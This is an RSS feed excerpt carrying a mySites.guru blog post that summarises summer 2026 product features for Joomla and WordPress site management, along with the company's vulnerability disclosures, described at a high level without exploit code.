&lt;li&gt;&lt;a href=&quot;https://patchstack.com/articles/one-slug-seven-editions-the-miniorange-saml-sso-bug-that-let-anyone-log-in-as-your-wordpress-admin/&quot;&gt;One slug, seven editions: the miniOrange SAML SSO bug&lt;/a&gt;, the WordPress disclosure that prompted the Joomla check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;CWE-287: Improper Authentication&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-target-wordpress-sites-in-miniorange-auth-bypass-attacks/&quot;&gt;Hackers target WordPress sites in miniOrange auth bypass attacks&lt;/a&gt; at BleepingComputer, covering the active exploitation of the WordPress edition&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;The Joomla Security Strike Team&apos;s vulnerable extensions list&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>miniorange</category><category>oauth</category><category>saml</category><category>authentication-bypass</category><category>account-takeover</category><category>denial-of-service</category><enclosure url="https://mysites.guru/img/og/blog/miniorange-oauth-joomla-account-takeover.png" length="0" type="image/png"/></item><item><title>Summer 2026: Everything New in mySites.guru</title><link>https://mysites.guru/blog/summer-2026-new-features/</link><guid isPermaLink="true">https://mysites.guru/blog/summer-2026-new-features/</guid><description>Everything new in mySites.guru this summer: 38 new tools, 40 improvements, and the 19 Joomla extension vulnerabilities we found and disclosed ourselves.</description><pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you already pay for mySites.guru, most of what follows is sitting in your account right now, and there is a fair chance you have not spotted it yet.&lt;/p&gt;
&lt;p&gt;That is the strange thing about shipping steadily. The work arrives a piece at a time. A new check appears in an audit you were already running. A button turns up on a page you have opened a hundred times. Every one of them goes into the changelog in the left menu of your dashboard the day it ships, but not everybody reads a changelog, so this is the highlight reel.&lt;/p&gt;
&lt;p&gt;Between 1 June and 24 August 2026 we added 38 new tools and features to mySites.guru, and improved 40 more that already existed. This is the first time we have written any of it up in one place, and it is the first of a seasonal series. Autumn will get its own. The post itself went up on 24 August. Two further days of shipping followed, and rather than hold them for the autumn edition, what went out on the 25th and 26th is folded into the sections below.&lt;/p&gt;
&lt;p&gt;What follows is a tour of all of it, grouped by the problem it solves rather than the order it shipped, with a link straight into each tool. If you are not a subscriber, read it as the answer to a fair question: what does a platform like this actually do with three months, and would you rather be the person running those checks by hand?&lt;/p&gt;
&lt;h2&gt;Summer 2026, in six numbers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;38&lt;/strong&gt; new tools and features, 1 June to 24 August&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;40&lt;/strong&gt; improvements to tools that already existed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;60&lt;/strong&gt; new Joomla extension vulnerability rules, out of &lt;strong&gt;221&lt;/strong&gt; we now track&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;19&lt;/strong&gt; Joomla extension vulnerabilities we found and disclosed ourselves in the first month alone&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;43&lt;/strong&gt; changes this year that exist because a customer asked for them&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;90&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;five-star reviews&lt;/a&gt; left over the same three months&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Making hacked files stand out from suspect content&lt;/h2&gt;
&lt;p&gt;The biggest change is a split. Until June your audit had one list called Suspect Content, and it mixed two very different things: files we are certain are compromised, and files that only matched a heuristic pattern and are worth a look. Lumping them together had an honest and predictable result, which is that people learned to skim past the lot. There is now a separate &lt;strong&gt;Hacked Files (100% Certain)&lt;/strong&gt; tool listing only what we are sure about, and Suspect Content shows only the pattern matches. If you have ever wondered which findings actually need you, that is the answer. Here is &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;what the two lists mean&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then the detection itself. The JCE compromise got a &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/jcerogueprofiles&quot;&gt;dedicated check&lt;/a&gt; that finds the rogue editor profiles the attack creates and the webshells it drops, removes both, and points you at the mass-update tools so the site cannot be breached the same way again. &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;The full guide is here&lt;/a&gt;, and thanks to Marc for the push. Days later the scanner learned the mutations: renamed webshells, disguised droppers and obfuscated variants the first signatures missed.&lt;/p&gt;
&lt;p&gt;The Helix Ultimate template framework got the same treatment twice. In July we started detecting menu code injected into a Helix mega menu, off the back of &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;the unauthenticated menu write we disclosed in Helix Ultimate 2.2.7&lt;/a&gt;. Three weeks after that an attacker shipped a variant that broke out of the CSS class attribute and hid scripts behind font and image file extensions, so the check was rewritten to inspect every mega-menu setting at any depth, and the clean-up now blanks only the settings that actually matched. A separate check finds menu items drawing a correctly styled but completely empty mega-menu dropdown, usually under Home, left behind by a legacy layout setting from old Helix versions. That one is not a hack, a working mega menu is never touched, and one click fixes it.&lt;/p&gt;
&lt;p&gt;Smaller, and worth knowing about: double-extension files like &lt;code&gt;config.php.bak&lt;/code&gt; and &lt;code&gt;shell.php.json&lt;/code&gt;, where a &lt;code&gt;.php&lt;/code&gt; hidden behind a second extension can still be executed or leak your source code; PHP files disguised specifically behind a &lt;code&gt;.json&lt;/code&gt; extension; the &lt;code&gt;admin_mori&lt;/code&gt; and &lt;code&gt;memetkaan&lt;/code&gt; worm accounts, now caught by username in the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Rogue Super Admin check&lt;/a&gt;; and backdoor detection that matches known shell filenames before it reads a single byte, which makes audits faster as well as more accurate.&lt;/p&gt;
&lt;p&gt;The new &lt;strong&gt;Cron Jobs&lt;/strong&gt; tool reads the scheduled jobs on your server and flags any that match known malware patterns. Cron is how an attacker is still there after a file clean. You delete the webshell, a scheduled job puts it back an hour later, and you spend a fortnight wondering why the site keeps coming back. It went out in July and has since learned to leave your host’s own cron-auditing scripts alone, since those search crontabs for exactly the words we do. Here is &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;why we built it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Finally, the Multiple .htaccess Files tool gained a one-click button that deletes every stray &lt;code&gt;.htaccess&lt;/code&gt; across your webspace in a single server-side pass, preserving your root file and the known hardening files. &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;We have seen sites with close to 9,000 of them&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“If you think you&apos;ve manually cleaned your Joomla site of all hacked files, you&apos;re 100% wrong. This program is absolutely incredible, and it finds Every File that is hacked or suspect.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/mike-k.webp&quot; alt=&quot;Mike K, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Mike K&lt;/a&gt;&lt;span&gt;15 July 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;AI, now that it earns its keep&lt;/h2&gt;
&lt;p&gt;Every company rushed to add “AI-powered” to their product: chatbots that frustrated users, buzzwords with nothing behind them. We sat that out, and people asked why.&lt;/p&gt;
&lt;p&gt;For over a decade we have secured Joomla and WordPress sites. We knew the audit system worked well at finding threats, but it casts a wide net, and a wide net means false positives. Users had to read the code themselves or wait for us to review files by hand. So we spent months testing before shipping anything: thousands of files analysed, AI results compared against expert review, accuracy and cost measured. The question was never whether AI was fashionable. It was whether AI could reliably do the thing users struggle with, which is reading PHP, spotting suspicious patterns, and telling legitimate code apart from malware. It can.&lt;/p&gt;
&lt;p&gt;False positives have cost our users hours of manual review for over a decade. This is the thing that addresses it, which is why this summer went on putting it everywhere it belongs.&lt;/p&gt;
&lt;p&gt;“Analyse Files with AI” used to live on one tool. It is now on nearly every file list in the product: Hidden Files, SQL Files, Renamed Files, Mass Mailers, Upload Files, Modified Files and many more. If a tool hands you a list of files, you can bulk-scan them.&lt;/p&gt;
&lt;p&gt;Two changes made that practical rather than expensive. Analysis now skips machine-generated cache files and Akeeba backup logs, so your spend goes on files that could plausibly be malicious instead of on noise. And there is a one-click key test on the &lt;a href=&quot;https://manage.mysites.guru/en/account/ai-integration/&quot;&gt;AI Integration page&lt;/a&gt; that confirms your key is live and lists the models it can use, at no charge. When analysis does fail because a provider key has run out of credit, the error now says so in plain English and links you straight to that test, rather than showing you a raw API response.&lt;/p&gt;
&lt;p&gt;One more thing, because people do ask. mySites.guru is not a vibe-coded side project. Plenty of those are appearing right now, and a fair number of them will be gone as quickly as they arrived, which is a problem when you have given one of them the keys to every site you manage. This is a full-time job and has been since 2012. The platform was built long before AI was mainstream, it is written and maintained by hand, and it is going to stay that way. We use AI the way any competent developer uses it now, which is to work faster. We do not use it to generate a product no one understands.&lt;/p&gt;
&lt;p&gt;The part people miss: AI analysis is bring your own API key. You add a key from Anthropic or OpenAI, it is behind an admin toggle, and it does nothing at all until you turn it on. We do not resell tokens and there is no markup. The model list was refreshed in May to the current generation from each series, so the dropdown now offers Claude Opus 4.7, Sonnet 4.6 and Haiku 4.5 alongside GPT-5, GPT-5 Mini, GPT-4o Mini and o3. &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;How the whole thing works&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The case for centralised management&lt;/h2&gt;
&lt;p&gt;This is the half of the product that justifies itself when you manage more than about ten sites.&lt;/p&gt;
&lt;p&gt;Two new Joomla audit checks come with a toggle rather than instructions. &lt;strong&gt;Force SSL Should Be Set To Entire Site&lt;/strong&gt; warns when a site does not force HTTPS site-wide, which can expose login and password-reset links over plain HTTP, and you flip it on from the audit result. &lt;strong&gt;Force Multi-Factor Authentication For Super Users&lt;/strong&gt; flags Joomla 4.2 and newer where MFA is not enforced for the Super Users group, and turns enforcement on the same way.&lt;/p&gt;
&lt;p&gt;A third toggle followed in the same week. Joomla’s &lt;strong&gt;Shared Sessions&lt;/strong&gt; setting lets one session cookie bring your administrator login into the front end, so a stolen front-end session is an admin session. Every snapshot now flags it, and one click turns it off safely. Another new check finds Joomla’s Sample Data still switched on: unpublishing the dashboard tile leaves its install endpoint live, so we report the module and its install plugins separately and disable both together in one click.&lt;/p&gt;
&lt;p&gt;Akeeba Admin Tools has a habit of &lt;a href=&quot;https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/&quot;&gt;auto-banning our IP address&lt;/a&gt;, which breaks audits, snapshots, backups and updates on that site. We now detect it and unblock with one click, both from the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/admintoolsunblockip&quot;&gt;tools list&lt;/a&gt; and from the connection troubleshooting wizard, with no SSH or hosting login needed.&lt;/p&gt;
&lt;p&gt;Joomla itself supplied a good deal of this summer’s work. Sites upgraded to Joomla 6 were being left with language update sites still pointed at the previous version, which stops language packs updating, so snapshots now flag it and fix it in one click. Joomla 5.4.7 and 6.1.2 shipped a regression where every per-article Option is ignored on the front end, so your snapshot counts the affected articles per site and Tools will apply Joomla’s official hotfix on request, only to an unmodified core file, and only when the result matches Joomla’s own patched file byte for byte. Then &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/&quot;&gt;Joomla 5.4.8 and 6.1.3 broke the Template Manager&lt;/a&gt;, so a &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/templateoverridesbroken&quot;&gt;new tool&lt;/a&gt; shows which of your sites are affected and applies or removes the fix from Joomla PR #48274, checking the file before and after every write.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/joomshaperj3patch&quot;&gt;JoomShaper Joomla 3 patch tool&lt;/a&gt; grew twice: it now deploys the latest Helix Ultimate fixes, and backports the SP Page Builder CSRF, rate-limiting and SQL-quoting fixes across 17 files, &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;which matters because JoomShaper stopped shipping Joomla 3 security fixes&lt;/a&gt;, backing up each patched file individually rather than all or nothing. Sites still on an earlier patch are flagged so you can re-apply the newer one. It also spots a Helix Ultimate template style that has been wiped, which is what makes a site lose its header, logo and mega menu while the rest of the page still renders. That is the signature of &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;the Helix3 defacement wave that lives in your database rather than your files&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Elsewhere, a new &lt;strong&gt;User Accounts and Access&lt;/strong&gt; check finds users who belong to no user group on Joomla or hold no role on WordPress, and lets you assign or remove them in one click. &lt;a href=&quot;https://manage.mysites.guru/en/universal_user_management/&quot;&gt;User search&lt;/a&gt; gained last-login, password-reset and blocked-status columns, sortable, with bulk-blocking across your Joomla sites and CSV export, and has since been &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;rebuilt into a full user manager on every site&lt;/a&gt;. And Joomla 3 sites with unpatched end-of-life security issues now show a patch count badge on your &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;sites list&lt;/a&gt; that takes you straight to the fix.&lt;/p&gt;
&lt;p&gt;The Joomla 3 end-of-life patch tool picked up &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;four more core fixes&lt;/a&gt; in the same week: incorrect access control in the com_contact vCard download, XSS through language overrides, response header injection in download views, and unrestricted SHTML uploads. Six more core files are patched as a result, one of which Joomla 3.10.12 never shipped at all, so switching the tool back off deletes our copy rather than restoring a stock file that does not exist. It has grown again since, with &lt;a href=&quot;https://mysites.guru/blog/joomla-3-security-fixes-verified-on-3-10-12/&quot;&gt;fourteen more fixes backported from Joomla 5.4.9 and the spring 2026 releases&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Limit The Number Of Super Admins To One&lt;/strong&gt; check became a full viewer. It lists every account holding real Super User rights, including custom groups that inherit admin without being named Super Users, shows why each one matched, and can demote, block or delete an account, or reduce the lot to one in a single action. Anything that would leave you unable to log in is rejected. Underneath it, super admin detection stopped depending on the group being called “Super Users”, which had blinded some user tools on sites where the group was renamed or not in English or French.&lt;/p&gt;
&lt;p&gt;The day after this post went up, mass updates got their own brake. The new &lt;strong&gt;Update Queue&lt;/strong&gt;, off by default, runs at most one update per server at a time, so applying updates across twenty sites on one shared host stops throwing every update at that box simultaneously. Queued jobs can be cancelled before they run, a progress bar in the header tracks the batch, and hovering it breaks the queue down per server. &lt;a href=&quot;https://mysites.guru/blog/update-queue-one-at-a-time-per-server/&quot;&gt;Slower on purpose&lt;/a&gt; explains why it is opt-in and why we think you will want it anyway if your sites share hosting. The &lt;a href=&quot;https://manage.mysites.guru/en/updates/scheduled&quot;&gt;Update Log&lt;/a&gt; was rebuilt alongside it: the last 500 updates across your account, newest first, whether you applied them yourself or we applied them overnight, filterable on any part of a url, extension name or status, with CSV export. Thanks Adi, who was right to keep pushing for this one.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“In the past week I&apos;ve been notified regarding new extension security updates and vulnerabilities, and with a 1 button click, all 20 were patched.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/paul-bailey.webp&quot; alt=&quot;Paul Bailey, &quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Paul Bailey&lt;/a&gt;&lt;span&gt;9 June 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;The vulnerabilities we found ourselves&lt;/h2&gt;
&lt;p&gt;The vulnerability rules above have to come from somewhere. Increasingly, they come from us.&lt;/p&gt;
&lt;p&gt;Between mid-June and late July we found and responsibly disclosed &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen separate security vulnerabilities across seventeen popular Joomla extensions&lt;/a&gt;. Most were critical. Five rated the maximum CVSS 4.0 score of 10.0. Every one was reported privately to the vendor first.&lt;/p&gt;
&lt;p&gt;It did not stop in July. &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt; turned out to have an authentication bypass where one cookie made you a Super User, and then &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;another 23 critical issues&lt;/a&gt; on a second pass. &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt; was exposing customer invoices and accepting forged orders. SP Page Builder gave up &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;a pre-authentication SQL injection and an open mail relay&lt;/a&gt; in July, then &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;unauthenticated remote code execution&lt;/a&gt; in August. &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;Phoca Cart&lt;/a&gt; had a front-end SQL injection. &lt;a href=&quot;https://mysites.guru/blog/jem-joomla-event-manager-disclosure/&quot;&gt;JEM&lt;/a&gt; has five issues and, at the time of writing, no stable fix.&lt;/p&gt;
&lt;p&gt;The week this post went up added two more records at the maximum score, both authentication bypasses in &lt;a href=&quot;https://mysites.guru/blog/miniorange-oauth-joomla-account-takeover/&quot;&gt;miniOrange extensions for Joomla&lt;/a&gt;. In SAML SSO the extension checks a login signature with PHP’s &lt;code&gt;openssl_verify()&lt;/code&gt;, which returns -1 when OpenSSL hits an error, and the code reads -1 as success. A malformed response therefore logs an anonymous visitor in as any account, administrators included. That record, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;, is credited to mySites.guru alongside Supakiad S., after we forwarded the exploited WordPress edition of the same flaw to the Joomla Strike Team. The sibling record in the OAuth Client, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, is CERT PL’s find: one cookie value decides who you are. The same flaw is being actively exploited right now in the vendor’s WordPress plugin.&lt;/p&gt;
&lt;p&gt;Neither CVE record helps much if your install reports one of miniOrange’s other edition numbers, because the same extension ships as several separately numbered products. A site reporting 44.0 sits on a different product line from one reporting 11.0.2, and the bigger number proves nothing. We asked the vendor directly for fixed versions of every affected Joomla product, and they answered with a table of seven, three of which had been patched with no CVE record at all, prefaced by the caveat that every number applies to the free editions only. The paid editions remain unanswered. The handling, as usual, is the part that goes wrong.&lt;/p&gt;
&lt;p&gt;We are &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;not the only people doing this&lt;/a&gt;, and that is a good thing. But we do it differently in one respect: we publish &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;the standard we hold ourselves to&lt;/a&gt;, including what we expect from a vendor handling a report, because the handling is usually the part that goes wrong. &lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud&lt;/a&gt; patched the login and left the data. &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;Page Builder CK&lt;/a&gt; shipped a fix that did not fix it.&lt;/p&gt;
&lt;p&gt;Every one of those findings becomes a vulnerability rule in your account within hours, usually before the vendor has shipped anything. That is where a good number of this summer’s 60 new Joomla extension rules came from. When you get an alert saying a site is running something vulnerable, there is a reasonable chance we are the ones who found it.&lt;/p&gt;
&lt;h2&gt;Knowing before we have to tell you&lt;/h2&gt;
&lt;p&gt;There is now a public &lt;a href=&quot;https://manage.mysites.guru/vulnerabilities&quot;&gt;Latest Vulnerabilities page&lt;/a&gt; listing every Joomla and WordPress vulnerability we track, searchable, filterable by platform and severity, with no login required. &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Why we published it&lt;/a&gt;. The detail pages behind it have since been rebuilt: the advisory facts sit in a summary panel beside the description and use the full width of the screen, each CVE id links to its own NVD record instead of one link wrapped round the whole list, anything published in the last week gets a New pill, and copying a record’s CVE ids is one click.&lt;/p&gt;
&lt;p&gt;Better than looking, though, is being told. A daily digest now emails you when a newly vulnerable extension turns up on one of your sites. It lists only what is new since the last one, so a site that fixes one vulnerability and gains another still reaches you, and whatever is already on your sites counts as the starting point so you are not emailed about the backlog. Thanks to Christian for that one. Alongside it, the vulnerable extensions panel on a site’s Manage page now shows a severity badge for each finding, says which version fixes it, and links straight to the full advisory. There is also a weekly digest for any site still flagged as hacked, so a compromise cannot slip off your radar.&lt;/p&gt;
&lt;p&gt;On the site itself, warnings that used to stack above the tabs now live in a red &lt;strong&gt;Important&lt;/strong&gt; tab that only appears when a site needs attention and opens itself when it does, so you arrive on what needs fixing. The day after this post went up, the tab gained your CMS itself: Joomla and WordPress sites show which core security vulnerabilities affect the version they are running, each naming the CVE, what the flaw actually is, how serious it is and the version that fixes it, worst first. Where we can already fix one for you the card says so: Joomla 3 sites see which of their vulnerabilities the one-click patch tool has handled and which are still outstanding. Your sites list keeps a core CVE count beside the familiar vulnerable-plugins count, kept separate so neither blurs the other, and the API and MCP endpoints return the same data under the existing site scopes. Near-realtime file change alerts on Joomla sites watch &lt;code&gt;/index.php&lt;/code&gt; and &lt;code&gt;libraries/src/Layout/LayoutHelper.php&lt;/code&gt; by default, both long-standing favourites with attackers. Downtime notification emails now name the server your site is hosted on, which makes a whole-host outage obvious at a glance rather than after the fifth email. Thanks Troy. Uptime alerts also link to the &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;full explanation of how our monitoring works&lt;/a&gt;, including why a site that never went down can still be reported as down.&lt;/p&gt;
&lt;p&gt;If you drive mySites.guru from an AI assistant, the MCP server gained a &lt;code&gt;get_site_vulnerabilities&lt;/code&gt; tool, so you can ask which vulnerable extensions a site is running and get back the CVE, the severity and the version that fixes each one. &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Setting that up&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;★★★★★&lt;/div&gt;&lt;blockquote&gt;“I have to say the attention and notifications to users as related to JCE and SP PageBuilder exploits, site scans and recommended fixes have elevated mySites far beyond what we ever signed up for years ago when all we wanted was a quick way to automate backups.”&lt;/blockquote&gt;&lt;figcaption&gt;&lt;img src=&quot;https://mysites.guru/images/reviews/mark.webp&quot; alt=&quot;Mark, Image Build&quot; width=&quot;40&quot; height=&quot;40&quot; loading=&quot;lazy&quot; /&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;Mark&lt;/a&gt;&lt;span&gt;Image Build · 16 June 2026&lt;/span&gt;&lt;/div&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Getting out of your way&lt;/h2&gt;
&lt;p&gt;Not everything is security. A good deal of the summer went on the friction you notice every day and never get round to reporting.&lt;/p&gt;
&lt;p&gt;You can now add up to 50 tags per site, up from 10. The &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Site Access list&lt;/a&gt; when adding or editing a team member has a search box and grows to show every site instead of sitting in a short scroll box, which matters once you pass about thirty sites. Thanks Tim. The Manage Site menu opens on click, with dropdowns that float over the page, instead of revealing on hover and shifting the content under your cursor.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/tools/selector&quot;&gt;Browse All Tools&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;⌘K quick launcher&lt;/a&gt; now list every audit check we run, not just the popular ones, so you can check a single issue across all your sites from one place. The “taking snapshot” dialog shows an honest elapsed timer with reassurance that updates the longer it runs, rather than a spinner that tells you nothing. The Locate And Review Files Over 2Mb tool sorts by file size, largest first. Thanks Adi.&lt;/p&gt;
&lt;p&gt;Backup, Snapshot and Export now show how many sites they will actually touch once you have filtered your list, so the button reads Snapshot (12) rather than just Snapshot. Thanks Adi again. The &lt;a href=&quot;https://manage.mysites.guru/en/extensions/&quot;&gt;extensions CSV export&lt;/a&gt; honours the filters you have on screen and covers every extension type your site reported.&lt;/p&gt;
&lt;p&gt;Backups got three fixes worth having. Runs started from mySites.guru now include a description saying what the site was running and what started the run, such as “Joomla 5.4.8 - Manual - mySites.guru”, where every backup used to get the same fixed label and archives taken either side of a core update were impossible to tell apart. Manual, scheduled, bulk, API and MCP runs are each named. The &lt;a href=&quot;https://manage.mysites.guru/en/backups/&quot;&gt;backups list&lt;/a&gt; shows each archive’s description and comment under the date, including any comment you typed in Akeeba itself, which we were already being sent and were throwing away. And after an automatic extension update we now take a snapshot five minutes later, so the extension versions you see are the ones you just updated to rather than yesterday’s.&lt;/p&gt;
&lt;p&gt;Then, right at the end of the summer, Frédéric pushed four more through in a single day. Descriptions now have the exact start time in UTC, which matters because Akeeba names each .jpa archive with its own timestamp, so you can finally match a backup in our list to the file on your server, and every row shows that filename with a one-click copy button. Start Backup on the Backups page now opens the profile picker, the same as on a site’s own Backup tab, and if you start one by hand you can type your own comment, which appears in Akeeba’s Manage Backups list beside the automatic description. Scheduled and bulk backups keep the automatic label. Thanks Frédéric, twice.&lt;/p&gt;
&lt;h2&gt;Paperwork you can hand a client&lt;/h2&gt;
&lt;p&gt;Agencies get asked for this, usually at the worst moment, and usually by a client’s compliance team.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://manage.mysites.guru/legal/dpa&quot;&gt;Data Processing Agreement&lt;/a&gt; is now published in full: the complete sub-processor list, our technical and organisational measures, and exactly what data does and does not leave your connected sites. It is Article 28 GDPR compliant and you can accept it in one click if your process needs a dated record.&lt;/p&gt;
&lt;p&gt;The Privacy page was rewritten to set out &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;how little actually leaves a connected site&lt;/a&gt;. Routine monitoring sends counts and version numbers rather than content. Malware scan hashes stay in your own site’s database. Backups never reach us at all. The vendor list was corrected at the same time.&lt;/p&gt;
&lt;p&gt;We also published a &lt;a href=&quot;https://manage.mysites.guru/security&quot;&gt;security disclosure policy&lt;/a&gt; covering the platform and the connector: where to send a report, what is in scope, how quickly we respond, and the safe harbour you get for good-faith research. There is a machine-readable copy at &lt;code&gt;/.well-known/security.txt&lt;/code&gt; and a CycloneDX software bill of materials that we regenerate on every dependency change.&lt;/p&gt;
&lt;p&gt;For the more practical kind of paperwork, there is a &lt;a href=&quot;https://manage.mysites.guru/info-for-webhosts&quot;&gt;shareable reference page for web hosts&lt;/a&gt; listing every IP we connect from, the endpoints your connector calls out to, and exactly what to allow through the firewall in each direction. No login needed, so you can send the link straight to a hosting support desk. And the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact page&lt;/a&gt; now leads with any current platform issues, shows the three newest changelog entries, and answers 38 of the questions we get asked most.&lt;/p&gt;
&lt;h2&gt;Forty-three of these started as an email&lt;/h2&gt;
&lt;p&gt;This is the number I am proudest of, so it gets its own section.&lt;/p&gt;
&lt;p&gt;Forty-three of the changes we made in the last twelve months exist because a customer wrote in and told us something. Not a feature request form, not a public roadmap board with votes on it. An email, usually two lines long, usually apologetic about bothering us.&lt;/p&gt;
&lt;p&gt;Some of them are exactly what you would expect. Adi wanted the large-files tool sorted by size, largest first, and later pointed out that a bulk action should tell you how many sites it is about to touch, so the button now reads Snapshot (12). Laurent wanted the update results filtered by site tag, and got coloured tag pills under the search box. Tim wanted a search box on the team-member site-access list, which had outgrown its scroll box. Isidro wanted the Reload button on the By Site view to stay on the By Site view. Julian pointed out that our alert emails were unreadable in dark mode. Small things. Somebody’s daily irritation, fixed because there is one person to tell and he replies.&lt;/p&gt;
&lt;p&gt;The ones I did not expect are the ones where a customer corrected the detection engine itself.&lt;/p&gt;
